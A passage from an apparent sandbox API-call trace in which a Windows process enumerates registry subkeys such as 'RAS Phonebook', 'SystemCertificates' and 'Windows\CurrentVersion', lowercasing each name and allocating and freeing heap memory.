7 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peernet", lpUsedDefaultChar=0x0) returned 7 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.700] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.700] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.700] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.700] RegEnumKeyW (in: hKey=0x120, dwIndex=0x20, lpName=0x289d18, cchName=0x104 | out: lpName="Protected Storage System Provider") returned 0x0 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x23fc240, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protected storage system provider", lpUsedDefaultChar=0x0) returned 33 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.700] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.701] RegEnumKeyW (in: hKey=0x120, dwIndex=0x21, lpName=0x289d18, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x23fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.701] RegEnumKeyW (in: hKey=0x120, dwIndex=0x22, lpName=0x289d18, cchName=0x104 | out: lpName="RAS Phonebook") returned 0x0 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x23fc240, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras phonebook", lpUsedDefaultChar=0x0) returned 13 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.701] RegEnumKeyW (in: hKey=0x120, dwIndex=0x23, lpName=0x289d18, cchName=0x104 | out: lpName="Remote Assistance") returned 0x0 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x23fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remote assistance", lpUsedDefaultChar=0x0) returned 17 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.701] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.701] RegEnumKeyW (in: hKey=0x120, dwIndex=0x24, lpName=0x289d18, cchName=0x104 | out: lpName="Shared") returned 0x0 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.701] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x23fc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0247.702] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.702] RegEnumKeyW (in: hKey=0x120, dwIndex=0x25, lpName=0x289d18, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0247.702] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.702] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x23fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0247.702] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.702] RegEnumKeyW (in: hKey=0x120, dwIndex=0x26, lpName=0x289d18, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0247.702] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.702] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x23fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0247.702] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.702] RegEnumKeyW (in: hKey=0x120, dwIndex=0x27, lpName=0x289d18, cchName=0x104 | out: lpName="Speech") returned 0x0 [0247.702] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.702] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x23fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0247.702] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.702] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.702] RegEnumKeyW (in: hKey=0x120, dwIndex=0x28, lpName=0x289d18, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x23fc240, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.703] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.703] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.703] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.703] RegEnumKeyW (in: hKey=0x120, dwIndex=0x29, lpName=0x289d18, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x23fc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.703] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.703] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.703] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.703] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2a, lpName=0x289d18, cchName=0x104 | out: lpName="VBA") returned 0x0 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x23fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.703] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.703] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.703] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.703] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2b, lpName=0x289d18, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x23fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0247.703] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.703] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.704] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2c, lpName=0x289d18, cchName=0x104 | out: lpName="WAB") returned 0x0 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x23fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.704] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2d, lpName=0x289d18, cchName=0x104 | out: lpName="Web Service Providers") returned 0x0 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x23fc120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="web service providers", lpUsedDefaultChar=0x0) returned 21 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.704] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2e, lpName=0x289d18, cchName=0x104 | out: lpName="wfs") returned 0x0 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x23fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wfs", lpUsedDefaultChar=0x0) returned 3 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.704] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.704] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2f, lpName=0x289d18, cchName=0x104 | out: lpName="Windows") returned 0x0 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.704] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0247.705] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.705] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.705] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.705] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.705] RegOpenKeyExW (in: hKey=0x120, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x124) returned 0x0 [0247.705] RegCloseKey (hKey=0x120) returned 0x0 [0247.705] RegEnumKeyW (in: hKey=0x124, dwIndex=0x0, lpName=0x289d18, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0247.705] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.705] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x23fc240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0247.705] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.705] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.705] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.705] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.705] RegOpenKeyExW (in: hKey=0x124, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x120) returned 0x0 [0247.705] RegCloseKey (hKey=0x124) returned 0x0 [0247.705] RegEnumKeyW (in: hKey=0x120, dwIndex=0x0, lpName=0x289d18, cchName=0x104 | out: lpName="Action Center") returned 0x0 [0247.705] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.705] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x23fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="action center", lpUsedDefaultChar=0x0) returned 13 [0247.705] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.705] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.705] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.705] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.705] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1, lpName=0x289d18, cchName=0x104 | out: lpName="Applets") returned 0x0 [0247.705] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.706] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x23fc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0247.706] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.706] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.706] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.706] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.706] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2, lpName=0x289d18, cchName=0x104 | out: lpName="Controls Folder (Wow64)") returned 0x0 [0247.706] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0247.706] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x23fc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder (wow64)", lpUsedDefaultChar=0x0) returned 23 [0247.706] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.706] RtlFreeHeap (HeapHandle=0x23f0000, 